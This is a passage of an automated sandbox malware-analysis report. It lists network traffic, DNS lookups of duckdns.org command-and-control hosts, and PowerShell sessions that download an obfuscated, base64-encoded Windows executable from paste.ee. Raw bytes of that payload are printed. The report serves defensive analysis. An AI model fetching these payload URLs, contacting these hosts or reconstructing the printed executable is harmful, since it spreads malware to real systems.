                                                      Oct 7, 2024 07:11:40.848144054 CEST398152731172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:41.974159002 CEST527323980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:41.979285002 CEST398052732192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:11:41.979374886 CEST527323980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:41.979584932 CEST527323980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:41.984390020 CEST398052732192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:11:51.957178116 CEST398052732192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:11:51.957433939 CEST527323980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:51.957434893 CEST527323980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:51.958461046 CEST527333981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:51.962707043 CEST398052732192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:11:51.963634968 CEST398152733172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:51.963742971 CEST527333981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:51.968463898 CEST527333981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:51.973948002 CEST398152733172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:52.517277002 CEST398152733172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:52.517471075 CEST527333981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:52.517472029 CEST527333981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:52.522989035 CEST398152733172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:53.645288944 CEST527343980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:53.650262117 CEST398052734192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:11:53.650331020 CEST527343980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:53.650716066 CEST527343980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:53.655529022 CEST398052734192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:12:03.476035118 CEST398052734192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:12:03.476272106 CEST527343980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:12:03.476272106 CEST527343980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:12:03.476962090 CEST527353981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:12:03.481559038 CEST398052734192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:12:03.482022047 CEST398152735172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:12:03.482125998 CEST527353981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:12:03.484906912 CEST527353981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:12:03.489849091 CEST398152735172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:12:04.051639080 CEST398152735172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:12:04.051724911 CEST527353981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:12:04.051796913 CEST527353981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:12:04.056649923 CEST398152735172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:12:05.176254988 CEST527363980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:12:05.181472063 CEST398052736192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:12:05.181559086 CEST527363980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:12:05.181806087 CEST527363980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:12:05.186638117 CEST398052736192.169.69.26192.168.2.6

                                                      UDP Packets

                                                      TimestampSource PortDest PortSource IPDest IP
                                                      Oct 7, 2024 07:10:04.213576078 CEST5507553192.168.2.61.1.1.1
                                                      Oct 7, 2024 07:10:04.449755907 CEST53550751.1.1.1192.168.2.6
                                                      Oct 7, 2024 07:10:07.190658092 CEST5732053192.168.2.61.1.1.1
                                                      Oct 7, 2024 07:10:07.199908972 CEST53573201.1.1.1192.168.2.6
                                                      Oct 7, 2024 07:10:13.735508919 CEST6366953192.168.2.61.1.1.1
                                                      Oct 7, 2024 07:10:13.827601910 CEST53636691.1.1.1192.168.2.6
                                                      Oct 7, 2024 07:10:19.042840958 CEST53515201.1.1.1192.168.2.6
                                                      Oct 7, 2024 07:10:19.487193108 CEST5998453192.168.2.61.1.1.1
                                                      Oct 7, 2024 07:10:19.493990898 CEST53599841.1.1.1192.168.2.6
                                                      Oct 7, 2024 07:10:20.232590914 CEST6428753192.168.2.61.1.1.1
                                                      Oct 7, 2024 07:10:20.348893881 CEST53642871.1.1.1192.168.2.6
                                                      Oct 7, 2024 07:10:30.257600069 CEST6340153192.168.2.61.1.1.1
                                                      Oct 7, 2024 07:10:30.359333992 CEST53634011.1.1.1192.168.2.6
                                                      Oct 7, 2024 07:10:30.977458000 CEST5705553192.168.2.61.1.1.1
                                                      Oct 7, 2024 07:10:31.095093966 CEST53570551.1.1.1192.168.2.6
                                                      Oct 7, 2024 07:10:42.454860926 CEST5739653192.168.2.61.1.1.1
                                                      Oct 7, 2024 07:10:42.572140932 CEST53573961.1.1.1192.168.2.6
                                                      Oct 7, 2024 07:10:53.876899004 CEST5657853192.168.2.61.1.1.1
                                                      Oct 7, 2024 07:10:53.993793011 CEST53565781.1.1.1192.168.2.6
                                                      Oct 7, 2024 07:11:06.018845081 CEST5213653192.168.2.61.1.1.1
                                                      Oct 7, 2024 07:11:06.136993885 CEST53521361.1.1.1192.168.2.6
                                                      Oct 7, 2024 07:11:17.524091005 CEST6322853192.168.2.61.1.1.1
                                                      Oct 7, 2024 07:11:17.627476931 CEST53632281.1.1.1192.168.2.6
                                                      Oct 7, 2024 07:11:28.970576048 CEST5992853192.168.2.61.1.1.1
                                                      Oct 7, 2024 07:11:29.087963104 CEST53599281.1.1.1192.168.2.6
                                                      Oct 7, 2024 07:11:30.098368883 CEST5931753192.168.2.61.1.1.1
                                                      Oct 7, 2024 07:11:30.215492964 CEST53593171.1.1.1192.168.2.6
                                                      Oct 7, 2024 07:11:40.170336962 CEST6137753192.168.2.61.1.1.1
                                                      Oct 7, 2024 07:11:40.275036097 CEST53613771.1.1.1192.168.2.6
                                                      Oct 7, 2024 07:11:40.843943119 CEST5359553192.168.2.61.1.1.1
                                                      Oct 7, 2024 07:11:40.958842039 CEST53535951.1.1.1192.168.2.6
                                                      Oct 7, 2024 07:11:52.517962933 CEST5607053192.168.2.61.1.1.1
                                                      Oct 7, 2024 07:11:52.636620045 CEST53560701.1.1.1192.168.2.6
                                                      Oct 7, 2024 07:12:04.052723885 CEST6407253192.168.2.61.1.1.1
                                                      Oct 7, 2024 07:12:04.169051886 CEST53640721.1.1.1192.168.2.6

                                                      DNS Queries

                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                      Oct 7, 2024 07:10:04.213576078 CEST192.168.2.61.1.1.10x4239Standard query (0)ftp.desckvbrat.com.brA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:10:07.190658092 CEST192.168.2.61.1.1.10x4e67Standard query (0)paste.eeA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:10:13.735508919 CEST192.168.2.61.1.1.10x4dd2Standard query (0)simonastolerciuc.roA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:10:19.487193108 CEST192.168.2.61.1.1.10xe686Standard query (0)pastebin.comA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:10:20.232590914 CEST192.168.2.61.1.1.10x1009Standard query (0)janbours92harbu03.duckdns.orgA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:10:30.257600069 CEST192.168.2.61.1.1.10x510bStandard query (0)janbours92harbu04.duckdns.orgA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:10:30.977458000 CEST192.168.2.61.1.1.10x8c96Standard query (0)janbours92harbu007.duckdns.orgA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:10:42.454860926 CEST192.168.2.61.1.1.10xce5fStandard query (0)janbours92harbu007.duckdns.orgA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:10:53.876899004 CEST192.168.2.61.1.1.10x2afdStandard query (0)janbours92harbu007.duckdns.orgA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:11:06.018845081 CEST192.168.2.61.1.1.10x448aStandard query (0)janbours92harbu007.duckdns.orgA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:11:17.524091005 CEST192.168.2.61.1.1.10xfd39Standard query (0)janbours92harbu007.duckdns.orgA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:11:28.970576048 CEST192.168.2.61.1.1.10xe6b6Standard query (0)janbours92harbu007.duckdns.orgA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:11:30.098368883 CEST192.168.2.61.1.1.10x22c7Standard query (0)janbours92harbu03.duckdns.orgA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:11:40.170336962 CEST192.168.2.61.1.1.10x6b53Standard query (0)janbours92harbu04.duckdns.orgA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:11:40.843943119 CEST192.168.2.61.1.1.10x7e2aStandard query (0)janbours92harbu007.duckdns.orgA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:11:52.517962933 CEST192.168.2.61.1.1.10xaf7aStandard query (0)janbours92harbu007.duckdns.orgA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:12:04.052723885 CEST192.168.2.61.1.1.10xc1a8Standard query (0)janbours92harbu007.duckdns.orgA (IP address)IN (0x0001)false

                                                      DNS Answers

                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                      Oct 7, 2024 07:10:04.449755907 CEST1.1.1.1192.168.2.60x4239No error (0)ftp.desckvbrat.com.brdesckvbrat.com.brCNAME (Canonical name)IN (0x0001)false
                                                      Oct 7, 2024 07:10:04.449755907 CEST1.1.1.1192.168.2.60x4239No error (0)desckvbrat.com.br191.252.83.213A (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:10:07.199908972 CEST1.1.1.1192.168.2.60x4e67No error (0)paste.ee188.114.96.3A (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:10:07.199908972 CEST1.1.1.1192.168.2.60x4e67No error (0)paste.ee188.114.97.3A (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:10:13.827601910 CEST1.1.1.1192.168.2.60x4dd2No error (0)simonastolerciuc.ro85.120.16.93A (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:10:19.493990898 CEST1.1.1.1192.168.2.60xe686No error (0)pastebin.com172.67.19.24A (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:10:19.493990898 CEST1.1.1.1192.168.2.60xe686No error (0)pastebin.com104.20.4.235A (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:10:19.493990898 CEST1.1.1.1192.168.2.60xe686No error (0)pastebin.com104.20.3.235A (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:10:20.348893881 CEST1.1.1.1192.168.2.60x1009No error (0)janbours92harbu03.duckdns.org192.169.69.26A (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:10:30.359333992 CEST1.1.1.1192.168.2.60x510bNo error (0)janbours92harbu04.duckdns.org172.111.244.100A (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:10:31.095093966 CEST1.1.1.1192.168.2.60x8c96Name error (3)janbours92harbu007.duckdns.orgnonenoneA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:10:42.572140932 CEST1.1.1.1192.168.2.60xce5fName error (3)janbours92harbu007.duckdns.orgnonenoneA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:10:53.993793011 CEST1.1.1.1192.168.2.60x2afdName error (3)janbours92harbu007.duckdns.orgnonenoneA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:11:06.136993885 CEST1.1.1.1192.168.2.60x448aName error (3)janbours92harbu007.duckdns.orgnonenoneA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:11:17.627476931 CEST1.1.1.1192.168.2.60xfd39Name error (3)janbours92harbu007.duckdns.orgnonenoneA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:11:29.087963104 CEST1.1.1.1192.168.2.60xe6b6Name error (3)janbours92harbu007.duckdns.orgnonenoneA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:11:30.215492964 CEST1.1.1.1192.168.2.60x22c7No error (0)janbours92harbu03.duckdns.org192.169.69.26A (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:11:40.275036097 CEST1.1.1.1192.168.2.60x6b53No error (0)janbours92harbu04.duckdns.org172.111.244.100A (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:11:40.958842039 CEST1.1.1.1192.168.2.60x7e2aName error (3)janbours92harbu007.duckdns.orgnonenoneA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:11:52.636620045 CEST1.1.1.1192.168.2.60xaf7aName error (3)janbours92harbu007.duckdns.orgnonenoneA (IP address)IN (0x0001)false
                                                      Oct 7, 2024 07:12:04.169051886 CEST1.1.1.1192.168.2.60xc1a8Name error (3)janbours92harbu007.duckdns.orgnonenoneA (IP address)IN (0x0001)false

                                                      HTTP Request Dependency Graph

                                                      • paste.ee
                                                      • simonastolerciuc.ro
                                                      • pastebin.com

                                                      HTTPS Proxied Packets

                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      0192.168.2.649725188.114.96.34433700C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      TimestampBytes transferredDirectionData
                                                      2024-10-07 05:10:07 UTC67OUTGET /d/9xfVr/0 HTTP/1.1
                                                      Host: paste.ee
                                                      Connection: Keep-Alive
                                                      2024-10-07 05:10:07 UTC1206INHTTP/1.1 200 OK
                                                      Date: Mon, 07 Oct 2024 05:10:07 GMT
                                                      Content-Type: text/plain; charset=utf-8
                                                      Transfer-Encoding: chunked
                                                      Connection: close
                                                      Cache-Control: max-age=2592000
                                                      strict-transport-security: max-age=63072000
                                                      x-frame-options: DENY
                                                      x-content-type-options: nosniff
                                                      x-xss-protection: 1; mode=block
                                                      content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none'
                                                      CF-Cache-Status: DYNAMIC
                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A0tY2ki4y30PS%2BcA2AYtCfHe2uei1uRB4ASv0REscW3JYfCdehj9jeyGtSPX2rceLev5Ftjn5cod%2BDvXFcTrNSQAq4KBup75NNLV3Ij%2BG2Rb7%2FHU8vwA2LgSkQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                      Server: cloudflare
                                                      CF-RAY: 8ceb620a6c3a43fe-EWR
                                                      2024-10-07 05:10:07 UTC163INData Raw: 32 66 37 66 0d 0a 54 56 71 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 2f 2f 38 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4c 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86
                                                      Data Ascii: 2f7fTVqQ::M::::E:::://8::Lg:::::::::
                                                      2024-10-07 05:10:07 UTC1369INData Raw: 93 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2
                                                      Data Ascii: Q::::::::::::::::::::::::::::::::::::
                                                      2024-10-07 05:10:07 UTC1369INData Raw: 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4c 78 4c e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 50 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 67 44 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86
                                                      Data Ascii: :::::::::::::LxL::BP:::::G:::GgD::::::::::::
                                                      2024-10-07 05:10:07 UTC1369INData Raw: 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 67 44 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 59 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 e2 86 93 3a e2 86 93 e2 86
                                                      Data Ascii: w:::GgD::::Y:::::Q::::w::::::::::::::::::B:
                                                      2024-10-07 05:10:07 UTC1369INData Raw: 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 69 71 6d 63 78 6b e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 71 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 48 4d 61 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 67 e2 86 93 3a e2 86 93 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 52 7a 47 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 6f e2 86 93 3a e2 86 93 44 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 63 78 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 71 e2 86 93 3a e2 86 93 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 43 6f 75 66 67 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2
                                                      Data Ascii: :::Ciqmcxk:::q::Q::BHMa:::Kg:I:::RzGw::Co:D:::Ecxw:::q:B:::BCoufgE::
                                                      2024-10-07 05:10:07 UTC1369INData Raw: 3a e2 86 93 4b 43 33 34 6e e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 44 e2 86 93 3a e2 86 93 49 58 32 67 30 57 45 77 51 72 4b 78 63 6f 4b 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 67 63 57 42 6d 38 72 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 62 79 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 54 42 51 67 47 45 51 55 58 62 79 30 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 6f 4c 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 67 77 52 42 42 66 57 45 77 51 52 42 e2 86 93 3a e2 86 93 6b 78 30 e2 86 93 3a e2 86 93 67 71 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 7a e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 49 55 e2
                                                      Data Ascii: :KC34n:::KD:IX2g0WEwQrKxcoKg::CgcWBm8r:::Kbyw:::oTBQgGEQUXby0:::ooLg::CgwRBBfWEwQRB:kx0:gq::::Gz:E:IU
                                                      2024-10-07 05:10:07 UTC1369INData Raw: 3a e2 86 93 6f 77 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 45 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 67 35 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 48 79 67 6f 4e 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 6e 4c 7a e2 86 93 3a e2 86 93 77 42 77 4b 43 34 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 4b e2 86 93 3a e2 86 93 6f e2 86 93 3a e2 86 93 4c e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 34 e2 86 93 3a e2 86 93 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 42 49 e2 86 93 3a e2 86 93 4e e2 86 93 3a e2 86 93 e2 86
                                                      Data Ascii: :owQ:::Q::BEg::w::Cg5:::KHygoNw::CnLz:wBwKC4:::oK:o:L:::E:4:M:::EBI:N:
                                                      2024-10-07 05:10:07 UTC1369INData Raw: 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 4a 67 63 58 6d 6e 4c 4c 42 67 42 77 62 30 59 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 73 45 78 63 6f 52 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 67 59 49 4b 42 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 59 6f 53 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 69 62 65 53 79 55 6f 4e e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 68 4d 4d 4b 42 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 59 47 63 73 38 47 e2 86 93 3a e2 86 93 48 e2 86 93 3a e2 86 93 6f 4c 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 6e 4c 68 42 67 42 77 45 51 78 76 50 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2
                                                      Data Ascii: E:::KJgcXmnLLBgBwb0Y:::osExcoRw::CgYIKBI:::YoS:::CibeSyUoN:::ChMMKBM:::YGcs8G:H:oLg::CnLhBgBwEQxvPg::
                                                      2024-10-07 05:10:07 UTC1369INData Raw: 43 68 59 61 62 79 30 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 70 79 4e 77 63 e2 86 93 3a e2 86 93 63 43 68 52 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 4c 52 e2 86 93 3a e2 86 93 52 44 68 45 45 62 30 38 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 70 76 54 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 68 4d 45 45 51 51 6f 46 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 68 4d 45 45 51 52 79 43 51 63 e2 86 93 3a e2 86 93 63 48 49 4e 42 77 42 77 62 31 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 54 42 42 45 4f 62 31 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 55 45 77 37 65 56 53 55 6f 4e e2 86 93 3a e2 86 93 e2 86 93 3a e2
                                                      Data Ascii: ChYaby0:::pyNwc:cChR:::KLR:RDhEEb08:::pvTg::ChMEEQQoFQ::BhMEEQRyCQc:cHINBwBwb1::::oTBBEOb1I:::oUEw7eVSUoN::
                                                      2024-10-07 05:10:07 UTC1052INData Raw: 53 62 7a 38 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 6f 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 69 67 78 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 49 49 67 54 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 4b 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 69 67 31 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 33 58 7a 39 2f 2f 39 79 30 51 4d e2 86 93 3a e2 86 93 63 e2 86 93 3a e2 86 93 4e 79 7a 51 4d e2 86 93 3a e2 86 93 63 43 67 79 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 46 68 59 56 4b 44 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 6d 4b 67 e2 86 93 3a e2 86 93 42 51 e2 86 93 3a e2 86 93
                                                      Data Ascii: Sbz8:::ooQ:::Cigx:::KIIgT:::oKg::Cig1:::K3Xz9//9y0QM:c:NyzQM:cCgy:::KFhYVKDM:::omKg:BQ:


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      1192.168.2.649763188.114.96.34433700C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      TimestampBytes transferredDirectionData
                                                      2024-10-07 05:10:12 UTC43OUTGET /d/P0BOw/0 HTTP/1.1
                                                      Host: paste.ee
                                                      2024-10-07 05:10:13 UTC1206INHTTP/1.1 200 OK
                                                      Date: Mon, 07 Oct 2024 05:10:13 GMT
                                                      Content-Type: text/plain; charset=utf-8
                                                      Transfer-Encoding: chunked
                                                      Connection: close
                                                      Cache-Control: max-age=2592000
                                                      strict-transport-security: max-age=63072000
                                                      x-frame-options: DENY
                                                      x-content-type-options: nosniff
                                                      x-xss-protection: 1; mode=block
                                                      content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none'
                                                      cf-cache-status: DYNAMIC
